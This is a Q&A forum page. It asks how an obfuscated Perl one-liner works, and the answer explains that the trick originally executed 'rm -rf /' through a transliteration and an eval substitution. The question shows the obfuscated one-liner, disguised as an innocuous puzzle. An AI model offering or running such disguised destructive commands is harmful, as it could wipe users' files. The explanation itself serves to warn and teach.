Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6870087
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 27, 20262026-05-27T03:38:22+00:00 2026-05-27T03:38:22+00:00

The following program is in Perl. cat test… test… test… | perl -e ‘$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;

  • 0

The following program is in Perl.

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Can somebody help me to understand how it works?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-27T03:38:23+00:00Added an answer on May 27, 2026 at 3:38 am

    This bit of code’s already been asked about on the Debian forums.

    According to Lacek, the moderator on that thread, what the code originally did is rm -rf /, though they mention they’ve changed the version there so that people trying to figure out how it works don’t delete their entire filesystem. There’s also an explanation there of what the various parts of the Perl code do.

    (Did you post this knowing what it did, or were you unaware of it?)

    To quote Lacek’s post on it:

    Anyway, here is how the script works.

    It is basically two regex substitutions and one transliteration.
    Piping anything into its standard input makes no difference, the perl
    code doesn’t use its input in any way. If you split the long line on
    the boundaries of the expressions, you get this:

    $??s:;s:s;;$?::
    s;;=]=>%-{\\>%<-{;;
    y; -/:-@[-`{-};`-{/" -;;
    s;;$_;see
    

    The first line is a condition which does nothing save makes the code
    look more difficult. If the previous command originated from the perl
    code wasn’t successful, it does some substitutions on the standard
    input (which the program doesn’t use, so effectively it substitutes
    the nothing). Since no previous command exists, $? is always 0, so the
    first line never gets executed.

    The second line substitutes the
    standard input (the nothing) for seemingly meaningless garbage.

    The third line is a transliteration operator. It defines 4 ranges, in
    which the characters gets substituted to the one range and the 4
    characters given in the transliteration replacement. I’d prefer not to
    write the whole transliteration table here, because it’s a bit long.
    If you are really interested, just write the characters in the defined
    ranges (space to ‘/’, ‘:’ to ‘@’, ‘[‘ to ‘(backtick)’, and ‘{‘ to ‘}’), and
    write next to them the characters from the replacement range (‘(backtick)’ to
    ‘{‘), and finally, write the remaining characters (/,”, space and -)
    from the replacement pattern. When you have this table, you can see
    what character gets replaced to what.

    The last line executes the
    resulting command by substituting the nothing with the resulted string
    (which is ‘xterm’. Originally it was ‘system”rm -rf /”‘, and is held
    in $_), evaluates the substitution as an expression and executes it.

    (I’ve substituted ‘backtick’ for the actual backtick character here so that the code auto-formatting doesn’t kick in.)

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I have the following program: ~/test> cat test.cc int main() { int i =
can anybody explain me this print statement in the following perl program. #! /usr/bin/perl
I have a program in Perl that works with probabilities that can occasionally be
What does the colon mean in the following Perl program? MAIN: { print Hello\n;
Consider the following silly Perl program: $firstarg = $ARGV[0]; print $firstarg; $input = <>;
Normally when I am writing the perl program . I used to include following
in my little perl script (test.pl) I do the following in order to exit
I am studying an existing Perl program, which includes the following line of code:
SOLVED see Edit 2 Hello, I've been writing a Perl program to handle automatic
I am calling the following script from my main Perl program. The script takes

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.